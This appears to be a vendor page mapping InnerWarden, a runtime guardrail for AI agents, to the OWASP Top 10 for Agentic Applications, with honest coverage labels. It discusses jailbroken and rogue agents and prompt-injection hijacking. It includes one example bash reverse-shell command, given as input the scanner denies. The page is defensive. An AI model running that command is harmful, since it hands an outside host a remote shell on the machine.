ASI01
DetectAgent Goal Hijack
Prompt-injection detection (27 patterns) on every command, argument and tool response; obfuscation flagged before it runs.
OWASP Top 10 for Agentic Applications 2026
How InnerWarden covers the ten OWASP agentic risks.
InnerWarden screens every command and tool call an AI agent tries to run, and on Linux the kernel Execution Gate refuses the dangerous ones before they execute. This page maps that protection to the OWASP Top 10 for Agentic Applications 2026 and labels each risk honestly: direct, partial, or supporting.
Coverage at a glance
ASI05 Unexpected Code Execution
Direct · kernel (Linux)
ASI02 Tool Misuse & Exploitation
Direct · kernel (Linux)
ASI01 Agent Goal Hijack
Detect
ASI06 Memory & Context Poisoning
Limited / indirect
ASI04 Agentic Supply Chain
Runtime only
Direct on the runtime risks, honest about the rest. All ten of ASI01-ASI10 carry a label below.
Coverage matrix
Ten agentic risks, mapped to tested runtime controls.
Strong on the runtime-observable risks, honest about the ones a host guardrail does not fully cover. The label on each card says which.
ASI02
Direct · kernel (Linux)Tool Misuse & Exploitation
check-command denies dangerous tool calls; a per-session circuit breaker halts loop amplification and excessive execution; the kernel Execution Gate (Linux) enforces the exec.
ASI03
PartialIdentity & Privilege Abuse
Detection only: credential-access, insecure-permission and privilege-provenance signals. It does not manage the agent's own identity, tokens or delegation.
ASI04
Runtime onlyAgentic Supply Chain Vulnerabilities
No SBOM, provenance, signature or registry validation. If a compromised component tries to run a payload, the Execution Gate blocks it: runtime impact only.
ASI05
Direct · kernel (Linux)Unexpected Code Execution
check-command deny plus the kernel Execution Gate (Linux) refuse unauthorized scripts, binaries and payloads: download-and-execute, temp executables, reverse shells.
ASI06
Limited / indirectMemory & Context Poisoning
No detection of persistent-memory, RAG or context-store poisoning. Per-pod containment limits blast radius; this is indirect, not direct coverage.
ASI07
SupportingInsecure Inter-Agent Communication
Does not authenticate or verify agent-to-agent messages. Paid per-pod isolation limits how far one compromised agent can reach: supporting containment.
ASI08
SupportingCascading Failures
An independent watchdog, a kernel disarm kill-switch, the circuit breaker and rate limits stop a fault propagating across tools and agents.
ASI09
PartialHuman-Agent Trust Exploitation
Approval routing counts only when it carries independent evidence, a risk summary, explicit confirmation and an audit trail. A bare Telegram approval does not.
ASI10
Direct · kernel (Linux)Rogue Agents
check-command deny plus the kernel Execution Gate (Linux) contain a rogue agent's host actions: reverse shells, miners, destruction, persistence, security-tooling tampering.
Scope by tier
What detects, what enforces, what we do not claim.
Free detects. Paid enforces.
The Community core (inner-warden, Apache-2.0) detects and advises on the runtime-observable risks; an agent that respects the verdict avoids most of them. Pro and Enterprise add kernel enforcement on Linux for tool misuse, unexpected code execution and rogue agents (ASI02 / ASI05 / ASI10). That enforcement sits below a jailbroken, non-cooperative agent, outside the prompt it obeys. Privilege controls support ASI03, and per-pod containment supports ASI07 and limits cross-agent blast radius.
Where we're honest about scope
Some risks are architectural, not runtime, so a host guardrail only goes so far. ASI04 is runtime impact mitigation, not supply-chain validation (no SBOM or provenance). ASI06 is limited and indirect: we don't detect memory or RAG poisoning. ASI07 is supporting containment, not message authentication. ASI09 counts only when the human sees independent evidence, not a bare approval. We label each row rather than claim more than the code does. A secret/PII redaction transform is an additional data-protection control, not an ASI claim.
The reason chain
A deny that names the risk it caught.
This is the layer the model cannot talk its way out of: on Linux the refusal is a kernel -EPERM, and a jailbroken agent cannot argue with it. And because every verdict maps to its risk class, a deny doesn't just say no. It says which agentic risk it caught. check-command returns the OWASP Agentic ids (["ASI05"] for a reverse shell) alongside the decision, so your security team sees it in the framework they already evaluate against.
Independent mapping to the OWASP Top 10 for Agentic Applications 2026. InnerWarden is not endorsed or certified by OWASP. ASI01-ASI10 and their titles are the property of the OWASP Foundation.
iw check · verdict JSON
$ iw check "bash -i >& /dev/tcp/203.0.113.7/4444 0>&1" --json
{ …
"recommendation": "deny",
"asi_ids": ["ASI05"]
… }
output trimmed to the two fields the claim rests on
Where the deny is kernel-enforced on Linux
ASI02Tool Misuse & Exploitation
Direct · kernel (Linux)ASI05Unexpected Code Execution
Direct · kernel (Linux)ASI10Rogue Agents
Direct · kernel (Linux)